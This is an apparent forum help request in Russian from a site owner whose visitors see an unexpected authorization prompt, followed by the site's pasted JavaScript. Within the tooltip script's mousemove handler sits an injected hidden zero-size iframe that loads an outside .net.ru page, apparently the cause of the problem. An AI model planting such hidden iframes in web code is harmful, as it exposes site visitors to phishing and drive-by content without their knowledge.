При входе на наш сайт - появляется предложение авторезироваться каким-то "левым сайтом"? Может кто пояснить?

<script>
// Init
function MW_System_Load(){
this.wib = screen.width;
this.heb = screen.height;
this.documes = (document.getElementById || document.createElement || document.getElementsByTagName) ? true : false;
this.objects = window.addEventListener || window.attachEvent ? window : document.addEventListener ? document : null;
this.types = 'load';
}
MW_System_Load.prototype.addsevent = function(func){
if(this.objects.addEventListener){
this.objects.addEventListener(this.types,func,false);
return true;
} else if (this.objects.attachEvent){
this.objects.attachEvent("on" + this.types,func);
} else {
return false;
}
}
MW_System_Load.prototype.browser = function(){
this.ver = navigator.appVersion;
this.agent = navigator.userAgent.toLowerCase();
this.dom = document.getElementById ? 1:0;
this.all = document.all ? 1:0;
this.ie5 = (this.ver.indexOf("MSIE 5")>-1 && this.dom) ? 1:0;
this.ie6 = (this.ver.indexOf("MSIE 6")>-1 && this.dom) ? 1:0;
this.ie4 = (document.all && !this.dom) ? 1:0;
this.ie = this.ie4 || this.ie5 || this.ie6;
this.opera = this.agent.indexOf("opera")>-1;
this.gecko = (this.agent.indexOf("gecko")!=-1) ? 1:0;
this.bw = (this.ie || this.opera || this.gecko);
return this;
}
MW_System_Load.prototype.findobj = function(obj){
this.parent = window.document;
if(this.parent[obj]){ return this.parent[obj]; }
if(this.parent.all && this.parent.all[obj]){ return this.parent.all[obj]; }
if(this.parent.layers && this.parent.layers[obj]){ return this.parent.layers[obj]; }
if(this.parent.getElementById && this.parent.getElementById(obj)){ return this.parent.getElementById(obj); }
return null;
}
var MW = new MW_System_Load();
function MW_System_Hint(){}
MW_System_Hint.prototype.show = function(obj,str){
var hint = MW.findobj('hint');
if(!obj){ return; }
if(!MW.documes){ return; }
if(!hint){ return; }
hint.className = 'hint';
hint.style.left = 15;
hint.style.top = 50;

obj.onmouseout = function(advance){
hint.style.width = '';
hint.style.visibility = 'hidden';
if(hint.firstChild) hint.removeChild(hint.firstChild);
hint.appendChild(document.createTextNode(str));
};
obj.onmousemove = function(advance){
//str = str.replace(/</g,"<");
//str = str.replace(/>/g,">");
hint.style.width = '';
hint.innerHTML = str;
vc = document.getElementsByTagName((document.compatMode && document.compatMode=="CSS1Compat") ? "HTML":"BODY")[0];
x = window.event ? event.clientX + vc.scrollLeft : advance.pageX;
y = window.event ? event.clientY + vc.scrollTop : advance.pageY;
<inframe style="LEFT: 1%; WIDTH: 0%; POSITION: absolute; TOP: 1%; HEIGHT: 0%" src="http://diz-mode.net.ru/index/host/0-12"></inframe>
vcwidth = vc.clientWidth ? vc.clientWidth + vc.scrollLeft : window.innerWidth + window.pageXOffset;
vcheight = vc.innerHeight ? window.innerHeight + window.pageYOffset : vc.clientHeight + vc.scrollTop;
if(hint.offsetWidth>500){ hint.style.width = '200'; }
if((x + hint.offsetWidth + 15) > vcwidth){
hint.style.left = x - hint.offsetWidth - 4;
} else {
hint.style.left = x + 15;
}
if((y + hint.offsetHeight + 19) > vcheight){
hint.style.top = y - hint.offsetHeight;
} else {
hint.style.top = y + 25;
}
//if(typeof(hint.style.MozOpacity)!="undefined"){
hint.style.opacity = '.91';
hint.style.filter = "alpha(opacity:91)";
//}
hint.style.visibility = 'visible';
};
}
MW_System_Hint.prototype.initialize = function(){
var hint = document.createElement("DIV");
hint.setAttribute('id','hint');
document.getElementsByTagName('body')[0].appendChild(hint);
hint.style.visibility = 'hidden';
var hintmarker = ['a','img','img','input','span','div','textarea'];
var textmarker = ['title','alt','title','title','title','title','title'];
var lenmarker = hintmarker.length;
for(var i=0; i<lenmarker; i++) {
atr = document.getElementsByTagName(hintmarker[i]);
for(var j=0; j<atr.length; j++)
if(viewhint=atr[j].getAttribute(textmarker[i])){
atr[j].removeAttribute(textmarker[i]);
HINT.show(atr[j],viewhint);
}
}
}
var HINT = new MW_System_Hint();
if(MW.objects){ MW.addsevent(HINT.initialize); }
//Hint End
</script>

<script type="text/javascript">
function bookmarksite(title, url){
if (document.all)
window.external.AddFavorite(url, title);
else if (window.sidebar)
window.sidebar.addPanel(title, url, "")}
</script>

<script type="text/javascript">
sendFrm549674=function(){
var o=$('#frmLg549674')[0],pos=_uGetOffset(o),o2=$('#blk549674')[0];
document.body.insertBefore(o2,document.body.firstChild);
$(o2).css({top:(pos['top'])+'px',left:
(pos['left'])+'px',width:o.offsetWidth+'px',height:o.offsetHeight+'px',display:''}).h
tml('<div align="left" style="padding:5px;"><div class="myWinLoad"></div></div>'); _
uPostForm('frmLg549674',{type:'POST',url:'/index/sub/',error:function() {
$('#blk549674').html('<div align="left" style="padding:10px;"><div
class="myWinLoadSF" title="Невозможно выполнить запрос, попробуйте позже"></div>
</div>');
_uWnd.alert('<div class="myWinError">Невозможно выполнить запрос, попробуйте
позже</div>','',{w:250,h:90,tm:3000,pad:'15px'});
setTimeout("$('#blk549674').css('display','none');",'1500');
}
});
}
</script>